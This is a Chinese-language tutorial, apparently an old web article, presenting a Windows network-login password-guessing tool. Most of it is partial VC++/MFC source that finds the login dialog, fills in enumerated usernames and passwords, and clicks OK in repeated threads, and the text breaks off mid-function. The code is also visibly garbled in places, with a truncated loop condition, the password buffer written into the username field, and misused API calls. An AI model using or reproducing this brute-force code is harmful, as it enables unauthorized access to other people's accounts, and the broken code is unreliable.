Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。 |
|
一、猜解过程流程: |
为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。 |
下面给出关键流程的源代码(程序流程见图1-1): |
|
|
1. 全局变量: |
struct _Thread |
{ |
CWinThread *pThread; |
}; |
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数 |
CEvent gEventNextPass;//取下一个密码,为实现同步引进 |
CEvent gEventPassOk;//已取得密码,为实现同步引进 |
CEvent gEventNextUser;//取下一个用户名,为实现同步引进 |
CEvent gEventUserOk;// 已取得用户名,为实现同步引进 |
CMutex gMutex;//互斥量,只允许单线程访问 |
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。 |
char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名 |
|
2. 线程启动: |
{ |
file://密码枚举线程 |
if(PassTread[0].pThread==NULL) |
{ |
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL, |
THREAD_PRIORITY_LOWEST); |
PassTread[0].pThread->m_bAutoDelete=TRUE; |
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多 |
} |
file://用户名枚举线程 |
if(UserTread[0].pThread==NULL) |
{ |
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL, |
THREAD_PRIORITY_LOWEST); |
PassTread[0].pThread->m_bAutoDelete=TRUE; |
} |
file://窗口枚举线程 |
for(int i=0;i<> |
{ |
if(WindowThread[i].pThread==NULL){ |
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL, |
THREAD_PRIORITY_LOWEST); |
WindowThread[i].pThread->m_bAutoDelete=TRUE; |
} |
} |
|
3.窗口及子窗口枚举 |
UINT ThreadProc(LPVOID *pPraram) |
{ |
while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;} |
return 0; |
} |
|
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) |
{ |
char lpWinTitle[MAX_LINELENGTH]; |
::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1); |
if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名 |
{ gMutex.Lock(INFINITE);//防止两个线程同时操作 |
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL)); |
gMutex.Unlock(); |
return FALSE; |
} |
return TRUE; |
} |
BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam) |
{ |
char sChildName[MAX_LINELENGTH]; |
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1); |
file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的 |
file://各个子窗口 |
// 的属性。通过对比各控件的风格或名字来区别各控件。 |
if(strcmp(sChildName,"Edit")==0) |
{ |
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE); |
if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件 |
{ |
gEventNextPass.SetEvent();//发送“新密码”事件 |
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件 |
gEventPassOk.ResetEvent(); file://复位 |
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass); |
file://把新密码填到密码输入框,也可用SetWindowText() |
bPass=TRUE;//记录密码已填入 |
if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。 |
{ |
::SendMessage(::GetParent(hOk),WM_COMMAND, |
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); |
file://向“确定”按钮送消息,参照ClassWizard的消息映射 |
bUser=FALSE;bPass=FALSE;hOk=NULL; |
file://完成一次登录,初始化 |
return FALSE; |
} |
return TRUE; |
} |
file://非此即彼,这是用户名输入编辑控件 |
if((dWinSty&ES_READONLY)!=ES_READONLY) |
{ |
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass); |
file://把新用户名填到用户名输入框,也可用SetWindowText() |
bUser=TRUE;// 新用户名已填入用户名输入框 |
if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。 |
{ |
::SendMessage(::GetParent(hOk),WM_COMMAND, |
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); |
file://向“确定”按钮送消息,参照ClassWizard的消息映射 |
bUser=FALSE;bPass=FALSE;hOk=NULL; |
file://完成一次登录,初始化 |
return FALSE; |
} |
} |
return TRUE; |
} |
file://如果是按钮控件 |
if(strcmp(sChildName,"Button")==0) |
{ |
char sChildTitle[MAX_LINELENGTH]; |